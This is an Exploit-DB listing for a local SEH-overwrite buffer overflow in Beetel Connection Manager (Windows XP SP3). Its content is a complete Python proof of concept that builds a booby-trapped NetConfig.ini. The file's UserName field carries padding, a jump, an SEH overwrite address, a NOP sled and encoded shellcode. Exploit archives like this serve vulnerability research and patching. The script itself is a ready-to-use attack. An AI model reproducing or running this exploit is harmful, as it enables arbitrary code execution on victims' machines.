Beetel Connection Manager PCW_BTLINDV1.0.0B04 - Local Buffer Overflow (SEH)

EDB-ID:

28969

CVE:

EDB Verified: ✓

Author:

METACOM

Type:

LOCAL

Exploit: / {}

Platform:

WINDOWS

Date:

2013-10-15

Vulnerable App:

```
#!/usr/bin/python
from struct import pack
#Exploit Title:Beetel Connection Manager SEH Buffer Overflow
#Software for usb wireless
#Homepage:http://www.beetel.in/business-solutions/international-
business/3g-products/g31-3g-data-card
#Version:PCW_BTLINDV1.0.0B04
#Software
Link:http://www.mediafire.com/download/wdp05zlhzk0kgx4/Beetel+Connection+Mana
#Poc video: http://www.youtube.com/watch?v=nrQb0pVwi8U&feature=youtu.be
#Found:    12.10.2013
#Published:12.10.2013
#Exploit Author: metacom
#Tested on: Windows XP sp3 En
#RST
file="NetConfig.ini"
buffer="\x41" * 453
jump="\xeb\x4a\xff\xff"
seh=pack('<I',0x0105E2F6)
nops="\x90" * 80
shell=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e"
"\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6"
"\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19"
"\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c"
"\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7"
"\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9"
"\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67"
"\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4"
"\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5"
"\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66"
"\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37"
"\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20"
"\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4"
"\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c"
"\xea\x47")
header="\x68\x74\x74\x70\x3a\x2f\x2f\x41\x41\x41\x41\x41\x41\x41\x41"
xploit=header + buffer + jump + seh + nops + shell
eip="[SEH Buffer Overflow]\n"
eip+= "Name=Edit Me" + "\n"
eip+= "UserName=" + xploit + "\n"
eip+= "UserPass=" +"\n"
eip+= "DialNum=" + "\n"
eip+= "IsAutoGetAPN=1" + "\n"
eip+= "APN=" + "\n"
eip+= "IsAutoGetDNS=1" + "\n"
eip+= "MainDNSaddr=" + "\n"
eip+= "AltDNSAddr=" + "\n"
eip+= "IsAutoGetPDP=1" + "\n"
eip+= "pdpAddr=" + "\n"
eip+= "pdpType=IP" + "\n"
eip+= "AuthType=PAP" + "\n"
eip+= "askUserAndPass=0" + "\n"
eip+= "SaveuserAndPass=0" + "\n"
eip+= "IsDfault=0" + "\n"
eip+= "DeniEditDelete=0"   + "\n"
try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( eip )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions